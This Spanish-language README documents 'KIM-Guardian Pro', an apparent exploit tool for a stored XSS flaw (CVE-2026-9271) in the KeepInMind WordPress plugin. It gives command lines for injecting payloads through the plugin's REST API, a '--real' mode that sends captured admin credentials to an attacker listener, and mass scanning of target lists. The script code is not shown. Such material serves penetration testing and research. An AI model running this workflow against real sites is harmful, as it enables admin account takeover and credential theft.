
Herramienta autorizada de evaluación de XSS almacenado para CVE-2026-9271 en el plugin KeepInMind de WordPress. Detecta versiones vulnerables, inyecta payloads de prueba seguros y admite escaneo masivo con informes SQLite.
Herramienta de evaluación de seguridad autorizada para CVE-2026-9271
Autor: Sudeepa Wanigarathna · Herramienta: KIM-Guardian Pro v1.0
Script principal: CVE-2026-9271.py

[!IMPORTANT] Solo uso autorizado. Esta herramienta es para investigación de seguridad, educación y prueba de sistemas que poseas o tengas permiso explícito por escrito para evaluar. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso.
CVE-2026-9271 es un problema de cross-site scripting (XSS) almacenado en el plugin KeepInMind (Dashboard Notes) de WordPress. La sanitización insuficiente del contenido de las notas permite que un usuario autenticado con privilegios bajos (Contribuidor+) almacene HTML/JS que se ejecuta en el navegador de un administrador, lo que puede llevar a compromiso de sesión de administrador / toma de control de la cuenta.
KIM-Guardian Pro (CVE-2026-9271.py) es una herramienta de evaluación en Python para evaluadores autorizados para:
reports/| Atributo | Valor |
|---|---|
| CVE ID | CVE-2026-9271 |
| Vector de ataque | Autenticado (Contribuidor+) → XSS almacenado → Impacto en administrador |
| Impacto | XSS en navegador de administrador; posible toma de control de cuenta en instalaciones vulnerables |
| Producto afectado | WordPress KeepInMind / KeepInMind Dashboard Notes |
| Versiones afectadas | ≤ 0.8.4.2 (parcheado en 0.8.4.3+) |
| Tipo de vulnerabilidad | Cross-Site Scripting (XSS) Almacenado |
| CWE | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| Superficie | Rol |
|---|---|
/wp-json/keepinmind/v1/notes | API REST utilizada para crear/leer notas |
/wp-admin/ | Panel de administración donde las notas almacenadas pueden renderizarse |
| Ruta del plugin | /wp-content/plugins/keepinmind-dashboard-notes/ |
--no-cleanup)| Capacidad | Descripción |
|---|---|
| Detección de plugin | Comprueba rutas de instalación de KeepInMind y cadenas de versión |
| Versión de WordPress | Extrae metadatos de generador/versión cuando están disponibles |
| Modo de prueba seguro | Marcador superpuesto por defecto que prueba XSS sin capturar credenciales |
| Evaluación autenticada | Inicia sesión con credenciales de Contribuidor+ para inyección REST completa |
| Limpieza de payload | Elimina las notas inyectadas después de la evaluación |
| Escaneo masivo | Escaneo multihebra de lista de URL para plugin + versión vulnerable |
| Historial SQLite | Almacena evaluaciones en kim_guardian.db |
| Informes de texto | Escribe informes con marca de tiempo bajo reports/ |
| Servidor de captura | Oyente HTTP local opcional para simulaciones de captura de credenciales en laboratorio |
| Interfaz web | Dashboard Flask opcional (modo web) |
| Capacidad | Descripción |
|---|---|
| Registro detallado | Depuración en archivo + consola bajo logs/ |
| Soporte de proxy | Enrutar tráfico a través de Burp u otros proxies HTTP |
| Tiempo de espera configurable | Tiempo de espera por solicitud (30s por defecto) |
| Pool de trabajadores | Concurrencia ajustable para escaneos masivos |
pipcd /path/to/exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
# Paquetes adicionales recomendados usados por este script:
pip install colorama beautifulsoup4 requests flask
python3 CVE-2026-9271.py --help
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0 # opcional — solo modo web
Reemplaza
https://lab.examplesolo con un objetivo de laboratorio o autorizado.
# Ayuda / modos
python3 CVE-2026-9271.py --help
# Evaluación segura de un solo objetivo (por defecto: payload de prueba)
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' -v
# Escaneo masivo de versión / plugin
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt
# Listar evaluaciones recientes desde SQLite
python3 CVE-2026-9271.py db --list --limit 20
# Servidor de captura local (solo laboratorio)
python3 CVE-2026-9271.py capture --port 5000
# Interfaz web opcional
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
El modo por defecto utiliza una superposición de prueba que no captura. Proporciona credenciales de Contribuidor+ para la inyección a través de la API REST.
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor \
-p 'password' \
-v
Flujo de trabajo:
-u / -p)--no-cleanup)reports/kim_assessment_*.txtpython3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' --no-cleanup
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
--timeout 45 \
-v
Requiere una URL base de atacante/captura y --real. Preferir mantener la captura en localhost para laboratorios.
# Terminal 1 — oyente de captura
python3 CVE-2026-9271.py capture --port 5000
# Terminal 2 — evaluación con endpoint de captura
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
-a http://127.0.0.1:5000 \
--real \
-v
UI de Captura (cuando el servidor está en ejecución):
| Ruta | Propósito |
|---|---|
/ | Página de estado del servidor de captura |
/capture | Endpoint POST para envíos de formularios |
/captured | Entradas capturadas recientes (revisión de laboratorio) |
# targets.txt — una URL por línea
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt
# O URLs separadas por comas
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3
Las comprobaciones masivas suelen incluir pistas de WordPress, versión de KeepInMind, accesibilidad REST y presencia de wp-login.php.
python3 CVE-2026-9271.py db --list
python3 CVE-2026-9271.py db --list --limit 50
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
Vincular a localhost por defecto por seguridad.
| Modo | Descripción |
|---|---|
assess | Evaluación de KeepInMind de un solo objetivo |
bulk | Escaneo masivo de plugin/versión multiobjetivo |
capture | Servidor HTTP local de captura de credenciales |
web | Interfaz web Flask opcional |
db | Listar evaluaciones almacenadas |
assess| Argumento | Por defecto | Descripción |
|---|---|---|
url | requerido | URL objetivo de WordPress |
-u, --username | — | Nombre de usuario de WordPress (Contribuidor+) |
-p, --password | — | Contraseña de WordPress |
-a, --attacker | — | URL base del servidor de captura (simulación de laboratorio) |
-t, --test | activado | Preferir payload de prueba seguro |
-r, --real | desactivado | Habilitar payload de ataque de laboratorio (necesita --attacker) |
--no-cleanup | desactivado | Dejar notas inyectadas en su lugar |
-v, --verbose | desactivado | Registro detallado / depuración |
--timeout | 30 | Tiempo de espera por solicitud (segundos) |
--proxy | — | URL del proxy (ej. http://127.0.0.1:8080) |
bulk| Argumento | Por defecto | Descripción |
|---|---|---|
-f, --file | — | Archivo de URLs (una por línea) |
-u, --urls | — | URLs separadas por comas |
-w, --workers | 5 | Tamaño del pool de hilos |
-o, --output | bulk_scan_results.txt | Ruta del informe |
capture| Argumento | Por defecto | Descripción |
|---|---|---|
--port | 5000 | Puerto de escucha |
web| Argumento | Por defecto | Descripción |
|---|---|---|
--host | 127.0.0.1 | Dirección de enlace |
--port | 8080 | Puerto de escucha |
db| Argumento | Por defecto | Descripción |
|---|---|---|
--list | desactivado | Listar evaluaciones recientes |
--limit | 10 | Máximo de filas a mostrar |
Registro coloreado para autenticación, detección de plugin, inyección, verificación y limpieza.
Las ejecuciones exitosas de assess escriben archivos como:
reports/kim_assessment_YYYYMMDD_HHMMSS.txt
| Archivo | Propósito |
|---|---|
kim_guardian.db | Historial de evaluaciones (objetivo, versiones, indicador de vulnerabilidad, riesgo, duración) |
| Ruta | Propósito |
|---|---|
logs/kim_pro_*.log | Registros de aplicación por ejecución |
| Síntoma | Qué probar |
|---|---|
| Autenticación fallida | Confirmar credenciales de Contribuidor+; verificar /wp-login.php; usar -v |
| Plugin no detectado | Verificar ruta/nombre de KeepInMind; probar modo verbose |
| Inyección REST falla | Confirmar autenticación + nonce; inspeccionar con --proxy a través de Burp |
| Errores de tiempo de espera / conexión | Aumentar --timeout; verificar red / TLS / proxy |
| Sin vulnerabilidad en modo prueba | Confirmar versión ≤ 0.8.4.2; asegurar que las notas se rendericen para admin |
Flask ausente en modo web | pip install flask |
| BeautifulSoup ausente | pip install beautifulsoup4 |
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
-v
exploit/
├── CVE-2026-9271.py # KIM-Guardian Pro (v1.0)
├── requirements.txt # Dependencias de Python
├── README.md # Este archivo
├── kim_guardian.db # Historial de evaluaciones SQLite (generado)
├── logs/ # Registros de ejecución (generados)
├── reports/ # Informes de evaluación de texto (generados)
└── venv/ # Virtualenv local (opcional)
Este proyecto se proporciona tal cual para investigación de seguridad defensiva y pruebas de penetración autorizadas.
Al usar este software aceptas que:
Si encuentras este problema en sistemas de producción que no posees, sigue la divulgación responsable con el propietario del sitio y el mantenedor del plugin.
El acceso no autorizado a sistemas informáticos es ilegal.
| Rol | Nombre |
|---|---|
| Autor de la herramienta | Sudeepa Wanigarathna |
| CVE | CVE-2026-9271 |
| Herramienta | KIM-Guardian Pro v1.0 |
| Script principal | CVE-2026-9271.py |
| Licencia | Educational / Defensive Use |
Educational / Defensive Use Only
Copyright (c) 2026 Sudeepa Wanigarathna
Permission is granted to use this software for authorized security research,
education, and defensive assessment only.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
Solo para pruebas de seguridad autorizadas.